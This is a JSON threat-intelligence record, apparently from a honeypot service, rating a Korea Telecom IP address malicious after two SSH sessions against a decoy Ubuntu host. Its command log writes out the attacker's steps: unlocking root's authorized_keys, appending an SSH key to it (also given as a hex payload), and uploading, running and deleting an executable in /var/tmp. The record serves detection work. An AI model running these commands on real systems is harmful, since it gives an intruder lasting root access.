{"ip":"169.211.173.89","data_as_of":"2026-10-26T21:48:32+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"2 interactive session(s) ran commands after logging in","confidence":"high","network_type":"residential ISP","why":["2 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","Not in any known-scanner range."],"engagement":{"level":"request","label":"Request traffic","detail":"1,199 bytes sent","bytes_sent":1199,"session_seconds":34,"persistent":false},"basis":"interactive"},"first_seen":"2026-10-16T09:39:02","last_seen":"2026-10-16T19:40:53","events_24h":0,"events_7d":0,"interactive_sessions":2,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[{"protocol":"ssh","sessions":2}],"geo":{"country_code":"KR","country_name":"South Korea","region":"","city":"","lat":null,"lon":null,"asn":4766,"org":"Korea Telecom"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as4766","label":"KT Corporation (Korea Telecom)","category":"isp","url":"https://www.peeringdb.com/asn/4766"},"cve_matches":[],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":2,"first_seen":"2026-10-16T09:39:02","last_seen":"2026-10-16T19:40:53","verdicts":[{"verdict":"post-exploitation","sessions":2}],"personas":[{"persona":"linux-ubuntu@20.04","sessions":2}],"services":[{"protocol":"ssh","port":22,"sessions":2}],"logins":[],"commands":[{"ts":"2026-10-16T19:40:52","session_id":"eca6ea25-a20b-4755-b1c8-bd65f7cf3637","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"LC_ALL=C sudo -S sh -c 'pkill -HUP sshd'","exit_code":0},{"ts":"2026-10-16T19:40:51","session_id":"eca6ea25-a20b-4755-b1c8-bd65f7cf3637","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"LC_ALL=C sudo -S sh -c 'systemctl restart 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>>~root/.ssh/authorized_keys'","exit_code":1},{"ts":"2026-10-16T19:40:45","session_id":"eca6ea25-a20b-4755-b1c8-bd65f7cf3637","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"LC_ALL=C sudo -S sh -c 'chattr -i -a ~root/.ssh/authorized_keys'","exit_code":0},{"ts":"2026-10-16T19:40:43","session_id":"eca6ea25-a20b-4755-b1c8-bd65f7cf3637","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"LC_ALL=C sudo -S sh -c 'chmod 700 ~root/.ssh'","exit_code":0},{"ts":"2026-10-16T19:40:41","session_id":"eca6ea25-a20b-4755-b1c8-bd65f7cf3637","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"LC_ALL=C sudo -S sh -c 'mkdir -p ~root/.ssh'","exit_code":0},{"ts":"2026-10-16T09:39:00","session_id":"fcc0b992-3091-4054-ae57-e5904e9c16b2","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"LC_ALL=C rm -f /var/tmp/g6xexoi90yir6q70hvvae57tan","exit_code":0},{"ts":"2026-10-16T09:38:57","session_id":"fcc0b992-3091-4054-ae57-e5904e9c16b2","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"LC_ALL=C /var/tmp/g6xexoi90yir6q70hvvae57tan","exit_code":126},{"ts":"2026-10-16T09:38:52","session_id":"fcc0b992-3091-4054-ae57-e5904e9c16b2","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"scp -t /var/tmp/g6xexoi90yir6q70hvvae57tan","exit_code":null},{"ts":"2026-10-16T09:38:49","session_id":"fcc0b992-3091-4054-ae57-e5904e9c16b2","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"LC_ALL=C rm -f /var/tmp/g6xexoi90yir6q70hvvae57tan","exit_code":0},{"ts":"2026-10-16T09:38:46","session_id":"fcc0b992-3091-4054-ae57-e5904e9c16b2","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"LC_ALL=C rm -f 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-bn1","exit_code":127}],"downloads":[],"files":[{"sha256":"f74a8b06db4f8f48f4a19ea5c01bade2a0dfb9290c4ed04a3f1a3eaa298a843d","name":"g6xexoi90yir6q70hvvae57tan","size":348,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-16T09:38:52","last_seen":"2026-10-16T09:38:57","virustotal":{"sha256":"f74a8b06db4f8f48f4a19ea5c01bade2a0dfb9290c4ed04a3f1a3eaa298a843d","status":"known","malicious":0,"total":74,"name":"f74a8b06db4f8f48f4a19ea5c01bade2a0dfb9290c4ed04a3f1a3eaa298a843d.elf"}},{"sha256":"e374a7ad447d2cf791ecae122894a51ba723901ea132e7fa16cd47c44e4a1769","name":"g6xexoi90yir6q70hvvae57tan","size":512,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-16T09:38:41","last_seen":"2026-10-16T09:38:44","virustotal":{"sha256":"e374a7ad447d2cf791ecae122894a51ba723901ea132e7fa16cd47c44e4a1769","status":"known","malicious":0,"total":75,"name":"e374a7ad447d2cf791ecae122894a51ba723901ea132e7fa16cd47c44e4a1769.elf"}},{"sha256":"10f377c76a1bed0c61440ec55474e4fed96e3bd0dc46a5595b995b76725ac408","name":"sshd_config","size":3022,"mime_type":"text/plain","kind":"shell-write","times":1,"first_seen":"2026-10-16T19:40:49","last_seen":"2026-10-16T19:40:49","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid 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>>~root/.ssh/authorized_keys'","payload_hex":"4c435f414c4c3d43207375646f202d53207368202d6320276563686f207373682d727361204141414142334e7a61433179633245414141414441514142414141424151437568506d763378646855374a624d6f632f656342544478694771464e4b62653536347034614e54364a6259576a4e775a357a3645346951514451306245703775427442306175743061707144462f534c37704e3579626832583434614377446153454236624a754a6930794d6b5a774976656e6d744341314c4d4172325869667647532f556c61633751683576467a66773536326357432b494f492b4c79515a41635067722b435870684a686d3851512b4f34353449745875725158366f506c4132724e66463336666e78597373315a76555943383077575469396b322b2f585233496f51585a484b4346734a6977794b4f3243592b6a5368426244426274644f58332f6b73484e564e5374412f6a504530485944377536563245666a76394b2b4145626b6c4d737974443954363049753375612b756742725035684c377a416a5048705848387157344b75376479535a34797648203e3e7e726f6f742f2e7373682f617574686f72697a65645f6b65797327","method":"","user_agent":"","ja3":"","session":"eca6ea25-a20b-4755-b1c8-bd65f7cf3637-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"6cd839b54d34205e","strings":["LC_ALL=C sudo -S sh -c 'echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuhPmv3xdhU7J…"]},"interactive":true},{"timestamp":"2026-10-16T19:40:45","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"LC_ALL=C sudo -S sh -c 'chattr -i -a ~root/.ssh/authorized_keys'","payload_hex":"4c435f414c4c3d43207375646f202d53207368202d632027636861747472202d69202d61207e726f6f742f2e7373682f617574686f72697a65645f6b65797327","method":"","user_agent":"","ja3":"","session":"eca6ea25-a20b-4755-b1c8-bd65f7cf3637-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"ba75a1c879aae522","strings":["LC_ALL=C sudo -S sh -c 'chattr -i -a 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~root/.ssh'","payload_hex":"4c435f414c4c3d43207375646f202d53207368202d6320276d6b646972202d70207e726f6f742f2e73736827","method":"","user_agent":"","ja3":"","session":"eca6ea25-a20b-4755-b1c8-bd65f7cf3637-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"ed88e4397259bcf6","strings":["LC_ALL=C sudo -S sh -c 'mkdir -p ~root/.ssh'"]},"interactive":true},{"timestamp":"2026-10-16T09:39:00","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"LC_ALL=C rm -f /var/tmp/g6xexoi90yir6q70hvvae57tan","payload_hex":"4c435f414c4c3d4320726d202d66202f7661722f746d702f67367865786f693930796972367137306876766165353774616e","method":"","user_agent":"","ja3":"","session":"fcc0b992-3091-4054-ae57-e5904e9c16b2-24","seq":24,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"75212231d63b40a6","strings":["LC_ALL=C rm -f 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